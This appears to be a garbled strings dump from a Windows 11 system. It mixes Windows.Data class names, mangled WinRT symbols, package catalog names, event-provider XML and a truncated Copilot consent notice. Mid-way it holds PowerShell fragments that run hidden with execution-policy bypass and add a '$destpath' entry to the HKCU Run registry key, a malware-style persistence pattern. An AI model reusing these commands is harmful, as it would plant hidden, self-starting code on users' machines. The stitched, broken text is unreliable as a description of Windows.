Windows.Networking.HostName.dll
\appdata\local\microsoft\windows\inetcookies
xwindows;
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows.Devices.WiFiDirect.pdb
Windows.Data.BlueLightReduction.ScheduleTime
Windows.Data.Platform.Partitioning.PartitionInfo
Windows.Data.Common.Color
Windows.Data.LatinLocalInputSetting
Windows.Data.Platform.Partitioning.PartitionMetadata
Windows.Data.Signals.IndexerQueryCondition
Windows.Data.Common.Point
Windows.Data.Common.Size
Windows.Data.Signals.UsageHistoryCondition
Windows.Data.Platform.Partitioning.DeviceExperiencePartitionMetadata
Windows.Data.Apps.ShortcutInfo
Windows.Data.Platform.ItemReference
Windows.Data.Signals.SignalMemoryCondition
Windows.Data.Platform.Partitioning.DeviceExperiencePartition
Windows.Data.Platform.Partitioning.PartitionSet
Windows.Data.SharePicker.BaseMRUItem
Windows.Data.Signals.Signal
Windows.Data.LatinInputSetting
trols@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AU?$producer@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producers_base@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@V?$tuple@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@UIPropertyValue@234@@std@@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewOverflowLabelMode@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@impl@winrt@@U?$IReference@W4NavigationViewBackButtonVisible@Controls@Xaml@UI@Microsoft@winrt@@@Foundation@Windows@3@@impl@winrt@@
Windows.Data.Input.InkAndPen.InkPlatformSettings
CloudData.WindowsClient.CloudDataAvailableWnf
Windows.Data.Input.InkAndPen.PenSettingShortcuts
Windows.Data.Input.InkAndPen.ShellHandwriting
Windows.Data.Apps.AppMetaData
Windows.Data.Apps.AppLevelTileInfo
Windows.Data.Apps.DeviceMetaData
Windows.Data.Apps.AppCompatInfo
Windows.Data.Apps.AppCompatProviderResults
Windows.Data.Apps.TileMatchingInfo
Windows.Data.Apps.AppMatchingInfo
Windows.Data.Apps.UnpackagedProducts
Windows.Data.Apps.PackagedProducts
Windows.Data.LunarCalendarPerDevice
Windows.Data.LunarCalendar
Windows.Data.Notifications.BoolWithMetadata
Windows.Data.Notifications.QuietHoursProfile
Windows.Data.Notifications.QuietMoment
Windows.Data.Notifications.QuietHoursSettings
Windows.Data.Accessibility.EyeControl.SyncedSettings
Windows.Data.Platform.BackupRestore.DeviceProfile
Windows.Data.Platform.BackupRestore.ManifestBackupStore
Windows.Data.Platform.Partitioning.SystemPartitionIndex
Windows.Data.Platform.Partitioning.OperatingSystemVersion
Windows.Data.Platform.Partitioning.PartitionIndex
Windows.Data.Platform.Partitioning.ActivePartitions
Windows.Data.Platform.Partitioning.DevicePartitions
Windows.Data.Input.Devices.MouseSyncedSettings
Windows.Data.Input.Devices.TouchpadSyncedSettings
Windows.Data.Input.Devices.PenSyncedSettings
Windows.Data.Input.Devices.TouchpadSettings
Windows.Data.Input.Devices.PenSettings
Windows.Data.Input.Devices.MouseSettings
Windows.Data.Input.Devices.TouchSettings
Windows.Data.Input.Devices.PenPerDevice
allowScrollInactiveWindows
Windows.Data.ControlCenter.UsageCount
Windows.Data.ControlCenter.UIState
Windows.Data.ControlCenter.QuickActionUsageCountMap
isWindowsStudioQuickActionAdded
Windows.Data.CuratedTileCollection.TileCollectionContainer
Windows.Data.CuratedTileCollection.RootCollection
Windows.Data.DoNotDisturb.QuietHoursProfile
Windows.Data.DoNotDisturb.BoolWithMetadata
Windows.Data.DoNotDisturb.QuietHoursSettings
Windows.Data.DoNotDisturb.QuietMoment
,cmd.exe,/cc:\windows\system32
2|c:\windows\system32\cmd
WindowsBackup\Assets\WideTile.scale-400.png
WindowsBackup\Assets\StoreLogo.scale-400.png
WindowsBackup\Assets\SplashScreen.scale-400.png
WindowsBackup\Assets\SmallTile.scale-400.png
WindowsBackup\Assets\MedTile.scale-400.png
WindowsBackup\Assets\LargeTile.scale-400.png
WindowsBackup\Assets\AppList.scale-400.png
WindowsBackup\Assets\WideTile.scale-100.png
WindowsBackup\Assets\StoreLogo.scale-100.png
WindowsBackup\Assets\SplashScreen.scale-100.png
WindowsBackup\Assets\SmallTile.scale-100.png
WindowsBackup\Assets\MedTile.scale-100.png
WindowsBackup\Assets\LargeTile.scale-100.png
WindowsBackup\Assets\AppList.scale-100.png
WindowsBackup\Assets\StoreLogo.scale-200.png
WindowsBackup\Assets\SplashScreen.scale-200.png
WindowsBackup\Assets\AppList.scale-200.png
WindowsBackup\Assets\StoreLogo.scale-150.png
WindowsBackup\Assets\SplashScreen.scale-150.png
WindowsBackup\Assets\AppList.scale-150.png
WindowsBackup\Assets\StoreLogo.scale-125.png
WindowsBackup\Assets\SplashScreen.scale-125.png
WindowsBackup\Assets\AppList.scale-125.png
WindowsBackup\Assets\AppList.targetsize-96_altform-unplated.png
WindowsBackup\Assets\AppList.targetsize-96_altform-lightunplated.png
WindowsBackup\Assets\AppList.targetsize-96.png
WindowsBackup\Assets\AppList.targetsize-80_altform-unplated.png
WindowsBackup\Assets\AppList.targetsize-80_altform-lightunplated.png
WindowsBackup\Assets\AppList.targetsize-80.png
WindowsBackup\Assets\AppList.targetsize-72_at4H
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
HyperV-HvSocket-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Kernel-Package-ApiSetSchema-Package~31bf3856ad364e35~amd64~~10.0.26100.3912.cat|
Microsoft-Windows-Kernel-Package-Ntdll-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-Package06~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Kernel-Package-SleepStudy-Events-Package~31bf3856ad364e35~amd64~~10.0.26100.3624.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|,
-windowstyleminimized
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Controls]ToolTipService
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
WindowsPersonaCard
WindowsMigration
WindowsInternal.ComposableShell.Experiences.TextInputUndocked
WindowsInternal.ComposableShell.Experiences.TextInput.Common
WindowsInternal.ComposableShell.Experiences.SuggestionUIUndocked
WindowsBackup
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
[using:Windows.UI.Xaml.Automation]AutomationProperties
.?AU?$produce@UProcessesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@@impl@winrt@@
.?AU?$produce@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$produce_base@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$implements@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@U134@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@winrt@@
.?AU?$producer_convert@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UProcessesPageViewModel@implementation@TaskManagerApp@winrt@@V?$tuple@UProcessesPageViewModel@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@3@@std@@@impl@winrt@@
.?AU?$produce_base@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$root_implements@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIServicesPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UServicesPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIServicesPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.pdb
Microsoft.Windows.Widgets.dll
windows-searchbox-dynamic-content.schema.json
windows.aiactions2.svg
windows.aiactions2.svg
%Microsoft Windows Production PCA 20110
Microsoft Windows0
Microsoft Windows
Windows Input Experience
Windows 
 Windows Hello'
 Windows Hello 
Windows Hello 
 Windows Hello 
 Windows Hello 
Windows Hello 
Windows Hello 
 Windows 
Windows Search
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
Hstart-processpowershell-argumentlist"-executionpolicybypass-windowstylehidden-command`"$
`""-nonewwindowstart-sleep-seconds
IAsyncOperation@U?$IVectorView@UWiseRankedItem@MachineLearning@AI@WindowsUdk@winrt@@@Collections@Foundation@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAAXAEAVRuntime@jsi@facebook@@$$QEAUcontinuation@34@@Z@QEBA?AV?$function@$$A6AXXZ@std@@PEAU34@01@Z@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@W4HttpStatusCode@Http@Web@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIdentityTokensResult@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AU?$projected_async_instance@U?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIdentityTokensResult@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIdentityTokensResult@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIrisCreativeResults@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_1>@?1???$bind_host_function@U?$projected_async_instance@U?$IAsyncOperation@W4HttpStatusCode@Http@Web@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@@rnwinrt@@YA?AVFunction@jsi@facebook@@AEAVRuntime@34@AEBVPropNameID@34@IP8?$projected_async_instance@U?$IAsyncOperation@W4HttpStatusCode@Http@Web@Windows@winrt@@@Foundation@Windows@winrt@@@1@EAA?AVValue@34@0PEBV834@_K@Z@Z@
.?AV<lambda_2>@?8??initialize@?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_3>@?9??initialize@?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_1>@?7??initialize@?$projected_async_instance@U?$IAsyncOperation@UIrisService@Iris@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_1>@?1???R0?1??as_native@?$projected_value_traits@U?$TypedEventHandler@UIrisService@Iris@Services@WindowsUdk@winrt@@UIInspectable@Foundation@Windows@5@@Foundation@Windows@winrt@@X@rnwinrt@@SA?AU?$TypedEventHandler@UIrisService@Iris@Services@WindowsUdk@winrt@@UIInspectable@Foundation@Windows@5@@Foundation@Windows@winrt@@AEAVRuntime@jsi@facebook@@AEBVValue@9facebook@@@Z@QEBA@AEBUIrisService@Iris@Services@WindowsUdk@7@AEBUIInspectable@567@@Z@
.?AV<lambda_1>@?7??initialize@?$projected_async_instance@U?$IAsyncOperation@W4HttpStatusCode@Http@Web@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?AUfire_and_forget@winrt@@XZ@
.?AV<lambda_2>@?8??initialize@?$projected_async_instance@U?$IAsyncOperation@W4HttpStatusCode@Http@Web@Windows@winrt@@@Foundation@Windows@winrt@@@rnwinrt@@AEAA?Ac
ndowsPowerShell\Modules;C:\WINDOWS\system32\Wi.
.pset-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run'-name'
'-value$destpathstart-process$destpath-windowstylehidden
"c:\windows\system32
DOMAIN=Windows1#
pWINDOWS
struct winrt::Windows::Foundation::IInspectable __cdecl winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::CdmConnectionT<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::factory_implementation::CdmConnection,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::implementation::CdmConnection>::ActivateInstance(void) const
struct winrt::Windows::Foundation::IReference<int> __cdecl winrt::impl::as<struct winrt::Windows::Foundation::IReference<int>,struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type,0x0>(struct winrt::impl::abi<struct winrt::Windows::Foundation::IUnknown,void>::type *)
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::Windows::Foundation::Collections::ValueSet>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::ValueSet> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
auto __cdecl winrt::Windows::Foundation::AsyncOperationCompletedHandler<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::operator ()(const struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> &,const enum winrt::Windows::Foundation::AsyncStatus &) const
void __cdecl winrt::weak_ref<struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection>::from_com_ref<const struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection&>(const struct winrt::Windows::ApplicationModel::AppService::IAppServiceConnection &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::ApplicationModel::AppService::AppServiceResponse> >::Cancel(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncInfo<struct winrt::Windows::Foundation::IAsyncOperation<enum winrt::Windows::ApplicationModel::AppService::AppServiceConnectionStatus> >::Cancel(void) const
6struct winrt::Windows::Foundation::IPropertyValueStatics __cdecl winrt::get_activation_factory<struct winrt::Windows::Foundation::IPropertyValueStatics>(const struct winrt::param::hstring &)
auto __cdecl winrt::impl::consume_Windows_Foundation_IPropertyValueStatics<struct winrt::Windows::Foundation::IPropertyValueStatics>::CreateUInt32(unsigned int) const
Microsoft-Windows-XAML
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
   <EventProvider Id="Microsoft-WindowsPhone-CaptureService" Name="7cd5c636-aa0a-486d-a630-8a63a7e8b764" />
    <EventProvider Id="Microsoft-WindowsPhone-Comms-MediaApis" Name="0efbb51e-935f-438b-9413-5546fd4f6ab7" />
    <EventProvider Id="Microsoft-WindowsPhone-Comms-MediaDataService" Name="266cdae9-1ae6-41eb-8872-bebf61829b50" />
    <EventProvider Id="Microsoft-WindowsPhone-ElementaryMediaSource" Name="e8d25694-879b-4eb9-beb2-feff7e4f635e" />
    <EventProvider Id="Microsoft-WindowsPhone-Exp-Apps-Podcasts" Name="40414124-61ba-40a0-8ff6-4d72614bc201" />
    <EventProvider Id="Microsoft-WindowsPhone-Foundations-MediaLibrary" Name="41926823-e7c9-402e-97bf-c5112abb7993" />
    <EventProvider Id="Microsoft-WindowsPhone-MediaService" Name="bbea663c-5f9b-4b9b-80f7-c412c14c2d59" />
    <EventProvider Id="Microsoft-WindowsPhone-MediaServiceRemote" Name="d55e8d78-92fb-416a-9375-2d7e40e9b5df" />
    <EventProvider Id="Microsoft-WindowsPhone-MFPAL" Name="70b36a56-9bfd-40ab-9282-ccf9e295d8cf" />
    <EventProvider Id="Microsoft-WindowsPhone-MFVideoSink" Name="b34b0123-eb9d-411a-8f1e-9c5ef8577109" />
    <EventProvider Id="Microsoft-WindowsPhone-MFVideoSinkFactory" Name="a13abc63-c22d-49e7-8d35-7ebaa2309e73" />
    <EventProvider Id="Microsoft-WindowsPhone-MMAudio" Name="9ca9745c-2667-4e74-8782-3811ce02bb0c" />
    <EventProvider Id="Microsoft-WindowsPhone-MMPhoneDeviceApi" Name="f3bea907-0867-4a05-8dab-556bf51bbee2" />
    <EventProvider Id="Microsoft-WindowsPhone-MusicApp" Name="d2b6a184-da39-4c9a-9e0a-8b589b03dec0" />
    <EventProvider Id="Microsoft-WindowsPhone-PhoneAudio" Name="3742be72-99a9-42e6-9fd5-c01a330e3625" />
    <EventProvider Id="Microsoft-WindowsPhone-PhoneAudioSes" Name="6f34c0f0-d9f6-40d3-a94c-419b50fd8407" />
    <EventProvider Id="Microsoft-WindowsPhone-PhotosApp" Name="e4515607-2c65-4073-be59-fb517e9ebd0a" />
    <EventProvider Id="Microsoft-WindowsPhone-SlowmotionEffect" Name="3da3f5f2-a3f1-4bac-8f52-33514bf8dbdb" />
    <EventProvider Id="Microsoft-WindowsPhone-StoryboardEngine" Name="b679d3b8-35a2-437f-9172-bdf0978d7de1" />
    <EventProvider Id="Microsoft-WindowsPhone-VideoProvider" Name="d5e118bb-e2ca-42e5-8f5a-ba2f9b13660a" />
    <EventProvider Id="Microsoft-WindowsPhone-zMediaQueueApp" Name="9e0d9603-4e6a-4a48-8cbd-63305d398f63" />
    <EventProvider Id="Microsoft-Windows-Portcls" Name="10eb6007-818c-4db6-a694-b518e589d07a" />
    <EventProvider Id="Microsoft-Windows-Runtime-Media" Name="8f0db3a8-299b-4d64-a4ed-907b409d4584" />
    <EventProvider Id="Microsoft-Windows-Security-Biometrics-CredentialProvider-Face" Name="48cafa6c-73aa-499c-bdd8-c0d36f84813e" />
    <EventProvider Id="Microsoft-Windows-Security-Biometrics-CredentialProvider-FaceDiag" Name="8db3086d-116f-5bed-cfd5-9afda80d28ea" />
    <EventProvider Id="Microsoft-Windows-Security-Biometrics-Face-DiagnosticsProvider" Name="e60019f0-b378-42b6-a185-515914d3228c" />
    <EventProvider Id="Microsoft-Windows-Security-Biometrics-Face-PerformanceProvider" Name="af09b0f9-ae02-4926-8a0f-e90d803063a8" />
    <EventProvider Id="Microsoft-Windows-Security-Biometrics-Face-TelemetryProvider" Name="1d480c11-3870-4b19-9144-47a53cd973bd" />
    <EventProvider Id="Microsoft-Windows-Settings-Camera" Name="00000012-0dc9-401d-b9b8-05e4eca4977e" />
    <EventProvider Id="Microsoft-Windows-Shell-BioEnrollment" Name="22eb0808-0b6c-5cd4-5511-6a77e6e73a93" />
    <EventProvider Id="Microsoft-Windows-SocCaptureSim" Name="e59fb1ec-318f-4ac6-b36b-6d11c5a49bec" />
    <EventProvider Id="Microsoft-Windows-USBVideo" Name="da1d1dbd-3186-4fa2-bc2d-075efd9e43e2" Level="4" />
    <EventProvider Id="Microsoft-Windows-VideoEditing" Name="acabb288-1997-439b-808b-6ffb52b3488f" Level="32">
    <EventProvider Id="Microsoft-Windows-WdfCompanionFilter" Name="12ab1cf8-c42c-4b9a-bd9c-3fa45b42bdca" Level="5" />
    <EventProvider Id="Microsoft-Windows-WinBioDataModel" Name="63221d5a-4d00-4be3-9d38-de9aaf5d0258" />
 you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
